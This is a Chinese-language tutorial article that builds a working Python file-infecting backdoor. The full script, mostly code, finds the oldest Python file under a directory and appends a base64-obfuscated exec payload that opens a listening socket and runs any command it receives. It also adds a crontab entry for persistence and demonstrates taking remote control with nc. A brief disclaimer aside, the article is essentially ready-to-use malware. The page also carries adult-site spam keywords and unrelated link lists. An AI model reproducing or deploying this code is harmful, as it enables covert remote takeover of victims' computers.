成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

來看看 Python 病毒長啥樣

開發 后端
今天的文章來展示一個 Python“病毒”,它感染其他 Python 文件來創建一個后門。后門利用 Python 的內置 socket 模塊來創建一個監聽器,用來連接到 Python 的內置子進程模塊,從而靶機上執行命令,同時還通過創建一個 cronjob 來建立持久性,以在每天固定的時間運行后門。最終完整的 Python 腳本包含在本文末尾。

[[438965]]

大家好,抱歉偷懶了幾天,最近的作息也逐漸規律起來,更新也會盡量在早上 7 點前發出。接下來的日子里,讓我們繼續玩轉 Python。

今天的文章來展示一個 Python“病毒”,它感染其他 Python 文件來創建一個后門。后門利用 Python 的內置 socket 模塊來創建一個監聽器,用來連接到 Python 的內置子進程模塊,從而靶機上執行命令,同時還通過創建一個 cronjob 來建立持久性,以在每天固定的時間運行后門。最終完整的 Python 腳本包含在本文末尾。注意:請不要將本文中提供的 Python 腳本用于惡意目的。雖然它不先進,但經過一些修改,它可以讓完全控制某人的計算機。本文的主要目的是通過這些腳本,更好地了解黑客如何獲取正常程序并使它們成為惡意程序。

話不多說,讓我們開始吧。

1、建立通信

任何后門最重要的部分都是建立通信。現在,讓我們為后門訪問編寫一段代碼。通過 TCP 連接到靶機,我們使用套接字模塊監聽黑客的連接請求。在 socket 模塊中,有一個函數也稱為 socket,我們可以使用它來創建 TCP 或 UDP 套接字。使用 socket.socket 函數創建套接字時,我們需要提供兩個參數來指定我們要使用的 IP 版本和第 4 層協議。在這個 Python 腳本中,我們將傳入以下參數:socket.AF_INET 和 socket.SOCK_STREAM。

  • AF_INET : 指定 IPv4
  • SOCK_STREAM :指定 TCP 而不是 UDP。
  • socket.socket 函數返回一個對象,該對象由最終確定正在創建的套接字是偵聽套接字(服務器)還是連接套接字(客戶端)的方法組成。要創建偵聽套接字,需要使用以下方法:
  • bind > 將 IP 地址和端口綁定到網絡接口
  • listen > 指示我們的套接字開始監聽傳入的連接
  • accept > 接受傳入連接
  • recv > 從連接的客戶端接收數據
  • send > 向連接的客戶端發送數據

然而,最重要的方法是 recv 和 send。recv 方法會接收來自攻擊者的命令,使用 subproces.run 函數在受害者的系統上執行它們,然后將執行命令的標準輸出重定向到與攻擊者建立的 TCP 連接。下面是 Python 代碼:

  1. from socket import socket, AF_INET, SOCK_STREAM 
  2. from subprocess import run, PIPE 
  3. from os import _exit 
  4.  
  5.  
  6. def serve(): 
  7.     with socket(AF_INET, SOCK_STREAM) as soc: 
  8.         # [*] The obfuscated values are just the IP address and port to bind to 
  9.         soc.bind((ip, 端口)) 
  10.         soc.listen(5) 
  11.         while True
  12.             conn, _ = soc.accept() 
  13.             while True
  14.                 cmd = conn.recv(1024).decode("utf-8").strip() 
  15.                 cmd_output = run(cmd.split(), stdout=PIPE, stderr=PIPE) 
  16.                 if cmd_output.returncode == 0: 
  17.                     conn.send(bytes(cmd_output.stdout)) 
  18.                 else
  19.                     continue 
  20.  
  21.  
  22. serve() 

2、感染目標 Python 文件

這段程序通過遍歷指定目錄(最好是用戶的主目錄)并查找修改時間最早的 Python 腳本。這里是測試,因此不是感染所有 Python 文件,而僅感染修改時間最早的文件。感染一個 Python 文件對于控制靶機來說已經夠了。

  1. def MTRkYmNubWx(self): 
  2.     YWJyZmFm = "/" if self.bGpqZ2hjen == "Linux" else "\\" 
  3.     for Z3Jvb3RhbGZq, _, _ in walk(self.cHlkYWNhZWFpa): 
  4.         for f in glob(Z3Jvb3RhbGZq + YWJyZmFm + "*.py"): 
  5.             if f == Z3Jvb3RhbGZq + YWJyZmFm + __file__: 
  6.                 continue 
  7.             eHhtbG1vZGF0 = stat(f).st_mtime 
  8.             ZHRmbGNhbW9k = datetime.fromtimestamp(eHhtbG1vZGF0) 
  9.             if not self.Z2hhenh4ZGwK: 
  10.                 self.Z2hhenh4ZGwK = (f, ZHRmbGNhbW9k) 
  11.             elif ZHRmbGNhbW9k < self.Z2hhenh4ZGwK[1]: 
  12.                 self.Z2hhenh4ZGwK = (f, ZHRmbGNhbW9k) 
  13.     self.dGVyeXB6Y2FjeH(self.Z2hhenh4ZGwK[0]) 

上述代碼的部分變量使用了混淆,讓人不易看懂,其實很簡單,就是使用 os 模塊中定義的 walk 和 stat 函數來遍歷目錄文件并獲取它們的修改時間。獲得的每個文件的修改時間被轉換為 datetime.datetime 對象,以便我們可以使用 > < 和 == 等運算符輕松比較日期。在這個函數的最后,選定的目標 Python 文件名被傳遞到將后門服務器代碼注入其中的函數。

3、通過 crontab 任務來持久化

這個 Python 后門的最后一個函數使用 subprocess.run 函數來調用一個 Linux shell 命令,該命令將在當前用戶的 crontab 文件中創建一個條目。此條目指定計劃的 cronjob 應在每天 14:00 定時運行。添加 crontab 對應的 shell 命令如下:

  1. echo '00 14 * * * file_name | crontab - 

然后我們讓 Python 把上一步感染的文件添加到 crontab 中:

  1. def YWZhdGhjCg(self): 
  2.     if self.bGpqZ2hjen == "Linux":  
  3.         run(f"echo '00 14 * * * {self.Z2hhenh4ZGwK[0]}' | crontab -", shell=True

4、最終的完整代碼

  1. #!/usr/bin/env python3 
  2. from os.path import expanduser 
  3. from os import walk, stat 
  4. from sys import path 
  5. from glob import glob 
  6. from platform import system 
  7. from base64 import b64encode, b64decode 
  8. from subprocess import run, PIPE 
  9. from datetime import datetime 
  10.  
  11.  
  12. class eHhjemR5eXB: 
  13.     def __init__(self, cHlkYWNhZWFpa): 
  14.         self.cHlkYWNhZWFpa = cHlkYWNhZWFpa 
  15.         self.bGpqZ2hjen = system() 
  16.         self.aWFmYXRye = "0.0.0.0" 
  17.         self.ZmFsa2p0aGM = 0x401 
  18.         self.Z2hhenh4ZGwK = None 
  19.  
  20.     def dGVyeXB6Y2FjeH(self, dGR6eGFteXBxC): 
  21.         YWxmanRob = b"from socket import socket, AF_INET, SOCK_STREAM" 
  22.         YWxmanRob += b"\nfrom subprocess import run, PIPE" 
  23.         YWxmanRob += b"\ndef serve():" 
  24.         YWxmanRob += b"\n\twith socket(AF_INET, SOCK_STREAM) as soc:" 
  25.         YWxmanRob += bytes( 
  26.             f'\n\t\tsoc.bind(("{self.aWFmYXRye}", {self.ZmFsa2p0aGM}))'"utf-8" 
  27.         ) 
  28.         YWxmanRob += b"\n\t\tsoc.listen(5)" 
  29.         YWxmanRob += b"\n\t\twhile True:" 
  30.         YWxmanRob += b"\n\t\t\tconn, _ = soc.accept()" 
  31.         YWxmanRob += b"\n\t\t\twhile True:" 
  32.         YWxmanRob += b'\n\t\t\t\tcmd = conn.recv(1024).decode("utf-8").strip()' 
  33.         YWxmanRob += ( 
  34.             b"\n\t\t\t\tcmd_output = run(cmd.split(), stdout=PIPE, stderr=PIPE)" 
  35.         ) 
  36.         YWxmanRob += b"\n\t\t\t\tif cmd_output.returncode == 0:" 
  37.         YWxmanRob += b"\n\t\t\t\t\tconn.send(bytes(cmd_output.stdout))" 
  38.         YWxmanRob += b"\n\t\t\t\telse: continue" 
  39.         YWxmanRob += b"\nserve()" 
  40.  
  41.         YWxmanRob_base64 = b64encode(YWxmanRob) 
  42.         cXBxZXJjYQ = "\n" * 0x2 + "from subprocess import run\n" 
  43.         cXBxZXJjYQ += 'run("""python3 -c "from binascii import a2b_base64;' 
  44.         cXBxZXJjYQ += 'exec(a2b_base64(\'{}\'))" &""",shell=True)'.format( 
  45.             YWxmanRob_base64.decode() 
  46.         ) 
  47.  
  48.         with open(dGR6eGFteXBxC, "a"as f: 
  49.             f.write(cXBxZXJjYQ) 
  50.         self.ZmFsa2p0aGM += 1 
  51.  
  52.     def MTRkYmNubWx(self): 
  53.         YWJyZmFm = "/" if self.bGpqZ2hjen == "Linux" else "\\" 
  54.         for Z3Jvb3RhbGZq, _, _ in walk(self.cHlkYWNhZWFpa): 
  55.             for f in glob(Z3Jvb3RhbGZq + YWJyZmFm + "*.py"): 
  56.                 if f == Z3Jvb3RhbGZq + YWJyZmFm + __file__: 
  57.                     continue 
  58.                 eHhtbG1vZGF0 = stat(f).st_mtime 
  59.                 ZHRmbGNhbW9k = datetime.fromtimestamp(eHhtbG1vZGF0) 
  60.                 if not self.Z2hhenh4ZGwK: 
  61.                     self.Z2hhenh4ZGwK = (f, ZHRmbGNhbW9k) 
  62.                 elif ZHRmbGNhbW9k < self.Z2hhenh4ZGwK[1]: 
  63.                     self.Z2hhenh4ZGwK = (f, ZHRmbGNhbW9k) 
  64.         self.dGVyeXB6Y2FjeH(self.Z2hhenh4ZGwK[0]) 
  65.  
  66.     def YWZhdGhjCg(self): 
  67.         if self.bGpqZ2hjen == "Linux"
  68.             run(f"echo '37 13 * * * {self.Z2hhenh4ZGwK[0]}' | crontab -", shell=True
  69.  
  70.  
  71. if __name__ == "__main__"
  72.     # For traversing the user's home directory 
  73.     # aGdsZGFx = expanduser('~'
  74.     # YmNjLGFka2x = eHhjemR5eXB(aGdsZGFx) 
  75.     YmNjLGFka2x = eHhjemR5eXB("./test"
  76.     YmNjLGFka2x.MTRkYmNubWx() 
  77.     YmNjLGFka2x.YWZhdGhjCg() 

在靶機執行該代碼后,會感染 ./test 目錄中最早修改的文件(目標文件),會自動在目標文件的最后添加這兩行代碼:

  1. from subprocess import run 
  2. run("""python3 -c "from binascii import a2b_base64;exec(a2b_base64('ZnJvbSBzb2NrZXQgaW1wb3J0IHNvY2tldCwgQUZfSU5FVCwgU09DS19TVFJFQU0KZnJvbSBzdWJwcm9jZXNzIGltcG 

是不是非常隱蔽?

5、訪問后門

為了測試,我們手動執行下感染的文件,而不是等待 crontab。

  1. ~ # crontab -l 
  2. 37 13 * * * /root/transferfile/transfile_interface.py 
  3. ~ # cd transferfile/ 
  4. ~/transferfile # python transfile_interface.py 
  5. ~/transferfile #  

程序正常結束,沒有任何異常。然后使用 nc localhost 1025 來反彈一個 shell,在這里執行 ls, whoami 就是靶機的信息了:

這里演示的 localhost 即為靶機,真實場景下就是靶機的 ip 地址。現在靶機已經完全被控制了,而受害者完全不知情。

最后的話 

現在,你已經學習了如何使用 Python 編程語言創建持久性后門,學習了如何使用 Python 的 socket 模塊、如何遍歷目錄以及如何創建 crontab 任務。如果要感染真實靶機,還要學會如何分發這個后門程序,這里不做探討。

 

責任編輯:武曉燕 來源: Python七號
相關推薦

2022-04-07 07:51:40

代碼結構設計

2013-12-03 10:33:51

微軟Windows 9

2018-02-25 23:12:16

2014-11-05 10:08:50

2022-10-10 11:32:01

數據分析技術

2020-01-09 10:03:41

AI 數據人工智能

2021-06-24 05:40:28

Windows 10操作系統微軟

2020-05-07 14:59:52

iOS 13.5蘋果更新

2015-09-11 09:59:04

阿里云數據中心

2020-04-29 09:30:48

Google面試題工程師

2021-02-06 14:36:39

數字人民幣數字貨幣區塊鏈

2011-09-29 10:13:54

IBM私有云云計算

2013-10-29 09:35:54

Windows 9概念圖

2020-07-21 14:40:45

Spring Boot單元測試Java

2020-04-16 12:04:09

5G基站4G

2021-06-24 05:39:16

Windows 1操作系統微軟

2020-11-02 07:59:40

高并發系統業務

2025-02-24 09:56:13

交換機網絡通信

2020-01-07 08:44:33

5G網絡4G
點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板: 日韩在线免费 | 日韩在线精品视频 | 成人精品视频在线观看 | 日韩欧美二区 | 亚洲国产视频一区二区 | 97精品超碰一区二区三区 | 中文字幕日韩一区 | 久久一区二区视频 | 国产成在线观看免费视频 | 一色桃子av一区二区 | 欧美日韩一 | 中文字幕欧美一区二区 | 一本大道久久a久久精二百 欧洲一区二区三区 | 日本精品久久久久久久 | av中文在线播放 | 国产高清在线精品一区二区三区 | 一区二区三区国产好的精 | 亚洲国产成人精品女人久久久 | 九九热在线观看视频 | www.天天操 | 久久久久久综合 | 欧美日韩大陆 | 欧美黄色一区 | 亚洲欧美日韩精品 | h在线播放 | 精品国产视频在线观看 | 亚洲精品www.| 羞羞网站免费 | 在线不卡视频 | 欧美日韩在线免费 | 国产精品亚洲一区二区三区在线 | 午夜视频在线 | 日韩在线免费播放 | 久草视频在线播放 | 国产一区 | 拍真实国产伦偷精品 | 午夜视频网站 | 国产成人精品一区二区三区四区 | 欧美一区二区三区在线 | 亚洲国产网站 | 国产美女在线观看 |